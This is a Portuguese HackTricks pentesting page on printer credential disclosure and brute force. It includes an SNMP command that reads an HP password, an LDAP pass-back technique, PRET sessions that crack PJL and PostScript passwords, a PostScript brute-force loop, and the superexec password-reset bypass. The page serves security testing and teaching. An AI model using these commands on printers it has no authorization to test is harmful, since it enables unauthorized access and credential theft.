hacktricks/network-services-pentesting/pentesting-printers/credentials-disclosure-brute-force.md
2023-06-06 18:56:34 +00:00

7 KiB

Divulgação de Credenciais / Brute-Force

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

As impressoras são comumente implantadas com uma senha padrão ou sem senha inicial. Em ambos os casos, os usuários finais ou administradores devem definir ativamente uma senha para proteger o dispositivo.

Divulgação de Senha

SNMP

As impressoras HP antigas tinham um OID vulnerável que retornava a senha. Outros fornecedores podem ter problemas semelhantes baseados em SNMP.

snmpget -v1 -c public printer iso.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = Hex-STRING: 41 41 41 00 …

Pass-Back

Se a impressora estiver autorizando pessoas usando um LDAP externo. Se você tiver acesso para alterar essas configurações (talvez usando uma interface de console web), você pode fazer a impressora se conectar ao seu servidor LDAP e autorizar qualquer usuário.
Observe que você também pode abusar dessas configurações para roubar as credenciais que a impressora está usando para se conectar ao servidor LDAP. Leia aqui para saber mais.

Brute-Force

PJL

As senhas PJL são vulneráveis a ataques de força bruta devido ao seu tamanho de chave limitado de 16 bits. Hoje em dia, em menos de 30 minutos, você pode adivinhar a senha correta.

Você pode usar os comandos lock e unlock do PRET para testar a força bruta:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
PIN protection:  ENABLED
Panel lock:      ON
Disk lock:       ON
printer:/> unlock
No PIN given, cracking.
PIN protection:  DISABLED
Panel lock:      OFF
Disk lock:       OFF

PostScript

O PostScript oferece dois tipos de senhas: a SystemParamsPassword é usada para alterar as configurações de trabalho de impressão, como o tamanho do papel, enquanto a StartJobPassword é necessária para sair do loop do servidor e, portanto, alterar permanentemente o ambiente PostScript.

Ataques de força bruta contra senhas PostScript podem ser realizados extremamente rápido porque o interpretador PostScript pode ser programado para literalmente quebrar a si mesmo:

/min 0 def /max 1000000 def
statusdict begin {
  min 1 max
  {dup checkpassword {== flush stop} {pop} ifelse} for
} stopped pop

Outra abordagem é burlar senhas PostScript redefinindo-as com o operador proprietário superexec da Adobe. Esse operador reside no dicionário internaldict, que é "protegido" por uma senha estática e mágica (1183615869). Envolver o código PostScript em superexec permite que um invasor ignore vários mecanismos de proteção da linguagem, que normalmente gerariam um erro de acesso inválido. Isso pode ser usado para definir senhas PostScript sem inicialmente enviar a senha atual, como mostrado abaixo:

{ << /SystemParamsPassword (0)
     /StartJobPassword (0) >> setsystemparams
} 1183615869 internaldict /superexec get exec

Os comandos de bloqueio e desbloqueio do PRET podem ser usados para testar ataques de força bruta contra senhas PostScript numéricas (inteiras) ou para burlá-las com a magia superexec:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> lock 999
printer:/> unlock
No password given, cracking.
Device unlocked with password: 999
printer:/> lock S0me_Re4lly_g00d_Passw0rd!
printer:/> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0

Mais informações sobre Divulgação de Senhas e Brute-Force em http://hacking-printers.net/wiki/index.php/Credential_disclosure

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥